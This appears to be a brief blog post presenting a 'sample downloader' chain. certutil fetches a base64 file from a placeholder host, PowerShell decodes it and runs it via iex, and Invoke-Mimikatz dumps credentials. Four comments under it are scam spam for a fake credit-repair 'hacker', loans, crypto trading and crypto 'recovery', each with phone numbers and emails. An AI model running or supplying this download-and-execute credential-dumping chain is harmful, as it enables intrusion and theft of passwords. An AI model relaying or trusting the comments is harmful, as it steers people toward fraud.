Thursday, January 13, 2022

downloader certutil powershell invoke-mimikatz

sample downloader that executed mimikatz


certutil.exe -urlcache -split -f http://somewhere/test.txt 'test.txt';

$B64 = get-content test.txt ;

$clear = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($B64));

$clear |out-file -filepath 'test.txt';

powershell -version 2 -command "iex (get-content 'test.txt'|out-string);

Invoke-Mimikatz -DumpCreds


4 comments:

  1. I was depressed some Months ago due to how frustrating it is dealing with bad credits, but reaching out to HACK VANISH via Phone: +1 (747) 293-8514 and Email: HACK VANISH (@) GMAIL. COM gave my life a new meaning, after I found him credible through positive reviews I read on a credit blog, in a twinkle of an eye, this great hacker got my credit score restored from 509 to 784 across the 3 major credit bureaus, all evictions and repossession has been wiped off, my LexisNexis and Chex system fixed respectively, to my greatest surprise, some days later, I received an E-mail confirming the approval of my pending loan application. I can confidently say 2021 was an exceptional year for my husband and I as we are proud owners of a new home and a brand-new SUV courtesy HACK VANISH, I would definitely recommend him to anyone in need of a genuine Hacker.

    ReplyDelete
  2. Fast cash offer for you today at just 3% interest rate, both long and short term cash of all amounts and currencies, no collateral required. Apply now for your instant approval financialserviceoffer876@gmail.com WhatsApp +918929509036

    ReplyDelete
  3. I lost my job few months back and there was no way to get income for my family, things was so tough and I couldn't get anything for my children, not until a met a recommendation on a page writing how Mr Bernie Wilfred helped a lady in getting a huge amount of profit every 6 working days on trading with his management on the cryptocurrency Market, to be honest I never believe it but I took the risk to take a loan of $1000. and I contacted him unbelievable and I was so happy I earn $12,500 in 6 working days, the most joy is that I can now take care of my family I don't know how to appreciate your good work Mr. Bernie Doran God will continue to bless you for being a life saver I have no way to appreciate you than to tell people about your good services.
For a perfect investment and good strategies contact Mr Bernie Doran via WhatsApp :+1(424)285-0682 or Telegram : @Bernie_doran_fx or Email : Bernie.doranfx01@gmail.com

    ReplyDelete
  4. You dont have to panic about the whereabout of your stolen cryptocurrency.These recovery experts I'm about to introduce you to are one of the best when it comes to crypto asset recovery.I introduced two of my friends who were victims of crypto frauds and they were able to help them recover $162,000 worth of bitcoin successfully .All you need to do is to reach out to these experts known as SPYHOST CYBER SERVICES through any of the available means in order to get your stolen assets recovered Kindly contact them via their official E-mail: spyhost@cyberdude.com
    This article is for crypto scam victims,Ignore if you are not affected. Regards

    ReplyDelete